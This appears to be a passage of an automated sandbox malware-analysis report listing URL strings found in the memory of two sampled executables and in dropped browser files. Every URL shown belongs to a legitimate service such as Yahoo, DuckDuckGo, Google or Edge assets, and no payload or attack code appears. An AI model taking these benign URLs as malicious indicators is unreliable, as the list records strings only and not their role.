Source: file.exe, 00000000.00000003.2497146778.000000002334E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446846427.000000000569A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3447228496.0000000005692000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr, Web Data.9.dr, DHDAFBFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2497146778.000000002334E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446846427.000000000569A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3447228496.0000000005692000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr, Web Data.9.dr, DHDAFBFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: a274c827-5989-43fa-a7e0-b5e1eeb35f6d.tmp.10.dr, 1340dcc6-a033-4d5e-9fcf-c9929acadfb6.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: a274c827-5989-43fa-a7e0-b5e1eeb35f6d.tmp.10.dr, 1340dcc6-a033-4d5e-9fcf-c9929acadfb6.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_475.5.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_475.5.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3484070630.0000000005640000.00000004.00000800.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3484070630.0000000005640000.00000004.00000800.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_475.5.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2497146778.000000002334E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446846427.000000000569A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3447228496.0000000005692000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr, Web Data.9.dr, DHDAFBFC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2497146778.000000002334E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446846427.000000000569A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3447228496.0000000005692000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr, Web Data.9.dr, DHDAFBFC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2497146778.000000002334E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446846427.000000000569A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3447228496.0000000005692000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr, Web Data.9.dr, DHDAFBFC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: a274c827-5989-43fa-a7e0-b5e1eeb35f6d.tmp.10.dr, 1340dcc6-a033-4d5e-9fcf-c9929acadfb6.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
